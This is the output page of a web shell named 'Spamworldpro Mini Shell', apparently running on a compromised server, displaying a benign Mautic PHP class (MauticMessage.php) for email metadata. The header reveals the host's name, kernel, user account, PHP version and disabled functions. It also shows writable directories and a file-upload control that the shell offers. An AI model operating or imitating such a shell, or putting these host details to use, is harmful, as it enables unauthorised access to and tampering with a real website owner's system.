Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/app/bundles/EmailBundle/Mailer/Message/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/app/bundles/EmailBundle/Mailer/Message/MauticMessage.php
<?php

declare(strict_types=1);

namespace Mautic\EmailBundle\Mailer\Message;

use Symfony\Component\Mime\Email;

class MauticMessage extends Email
{
    /**
     * @var array<string, array<string, string>>
     */
    protected $metadata = [];

    protected ?string $leadIdHash = null;

    /**
     * @param array<string, string> $metadata
     */
    public function addMetadata(string $email, array $metadata): void
    {
        $this->metadata[$email] = $metadata;
    }

    /**
     * Get the metadata.
     *
     * @return array<string, array<string, string>>
     */
    public function getMetadata(): array
    {
        return $this->metadata;
    }

    /**
     * Clears the metadata.
     */
    public function clearMetadata(): void
    {
        $this->metadata = [];
    }

    public function updateLeadIdHash(?string $hash): void
    {
        $this->leadIdHash = $hash;
    }

    public function getLeadIdHash(): ?string
    {
        return $this->leadIdHash;
    }

    /**
     * @return array<mixed>
     */
    public function __serialize(): array
    {
        if (empty($this->leadIdHash)) {
            $this->leadIdHash = '';
        }

        return [$this->metadata, $this->leadIdHash, parent::__serialize()];
    }

    /**
     * @param array<mixed> $data
     */
    public function __unserialize(array $data): void
    {
        [$this->metadata, $this->leadIdHash, $parentData] = $data;

        parent::__unserialize($parentData);
    }
}

Spamworldpro Mini